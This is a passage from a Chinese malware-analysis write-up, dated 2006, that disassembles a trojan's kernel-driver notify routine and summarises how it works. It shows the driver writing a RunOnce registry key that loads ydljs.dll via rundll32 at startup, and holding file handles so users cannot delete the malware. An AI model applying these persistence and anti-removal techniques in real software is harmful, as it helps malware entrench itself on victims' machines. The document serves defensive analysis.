.text:00010E8C                 push    eax             ; void *
.text:00010E8D                 call    memset          ; 否则对SourceString进行清零
.text:00010E8D
.text:00010E92                 push    offset unk_116A0 ; unk_116A0 = "ydljs"
.text:00010E97                 lea     eax, [ebp+SourceString]
.text:00010E9D                 push    offset s_SystemrootSys ; "%%systemroot%%\\system32

\\Rundll32.exe %%"...
.text:00010EA2                 push    eax             ; wchar_t *
.text:00010EA3                 call    ds:swprintf     ; SourceString =
.text:00010EA3                                         ; "%systemroot%\system32\Rundll32.exe 

%systemroot%\system32\ydljs.dll,DllUnregisterServer"
.text:00010EA9                 add     esp, 18h
.text:00010EAC                 lea     eax, [ebp+SourceString]
.text:00010EB2                 push    eax             ; SourceString
.text:00010EB3                 call    sub_10D2F       ; 写注册表,用rundll32.exe在启动的时

候加载ydljs.dll
.text:00010EB3
.text:00010EB8                 jmp     short loc_10EE8
.text:00010EB8
.text:00010EBA ; ---------------------------------------------------------------------------
.text:00010EBA
.text:00010EBA loc_10EBA:                              ; CODE XREF: NotifyRoutine+74j
.text:00010EBA                 lea     eax, [ebp+var_10]
.text:00010EBD                 push    offset s_Explorer_exe ; "explorer.exe"
.text:00010EC2                 push    eax             ; char *
.text:00010EC3                 call    esi ; _stricmp  ; 判断进程名字是否是explorer.exe
.text:00010EC5                 test    eax, eax
.text:00010EC7                 pop     ecx
.text:00010EC8                 pop     ecx
.text:00010EC9                 jnz     short loc_10EE8 ; 不是则跳走返回
.text:00010EC9
.text:00010ECB                 push    ebx             ; StartContext
.text:00010ECC                 push    offset StartRoutine ; StartRoutine
.text:00010ECC                                         ; 该函数用来打开驱动和dll文件
.text:00010ED1                 push    ebx             ; ClientId
.text:00010ED2                 push    ebx             ; ProcessHandle
.text:00010ED3                 push    ebx             ; ObjectAttributes
.text:00010ED4                 push    ebx             ; DesiredAccess
.text:00010ED5                 lea     eax, [ebp+Handle]
.text:00010ED8                 push    eax             ; ThreadHandle
.text:00010ED9                 call    ds:PsCreateSystemThread
.text:00010EDF                 push    [ebp+Handle]    ; Handle
.text:00010EE2                 call    ds:ZwClose      ; 关闭该线程
.text:00010EE2
.text:00010EE8
.text:00010EE8 loc_10EE8:                              ; CODE XREF: NotifyRoutine+C2j
.text:00010EE8                                         ; NotifyRoutine+D3j
.text:00010EE8                 pop     edi
.text:00010EE9                 pop     esi
.text:00010EE9
.text:00010EEA
.text:00010EEA loc_10EEA:                              ; CODE XREF: NotifyRoutine+Fj
.text:00010EEA                                         ; NotifyRoutine+19j
.text:00010EEA                                         ; NotifyRoutine+31j
.text:00010EEA                 pop     ebx
.text:00010EEB                 leave
.text:00010EEC                 retn    0Ch
.text:00010EEC
.text:00010EEC NotifyRoutine   endp

每当有新的进程创建,它就用前面计算出的EPROCESS.ImageFileName来定位进程名称,如果是

userinit.exe,则写注册

表"\registry\machine\software\microsoft\windows\currentversion\runonce",键值为:"%

systemroot%\system32\Rundll32.exe %systemroot%\system32\ydljs.dll,DllUnregisterServer"。如果

不是userinit.exe进程,继续判断是否是explorer.exe进程,是则打开driver和dll文件以保证他们不能

被用户删除。

--------------------------------------------------------------------------------
【总结】
        经过分析,此木马(恶意软件)共有2个文件:ydljs.dll和

esqyo.sys,用户不幸中招之后driver会写注册表注册驱动;注册开机运行ydljs.dll注入到Rundll32.exe

的键值;并且用driver打开sys文件和dll文件,保留句柄,使得用户无法卸载或删除相应的bin文件;每

次运行userinit.exe注册表以保证dll文件的开机加载。其他的破坏或者广告功能应该是在ydljs.dll中实

现的,driver只是用来保护文件、注册表中键值的安全。
  
--------------------------------------------------------------------------------
【致谢】
        感谢看雪论坛、一蓑烟雨和驱动开发网上各位大侠关于调试驱动的帮助,这里一并谢过。

                                                       2006年12月28日 18:22  by prince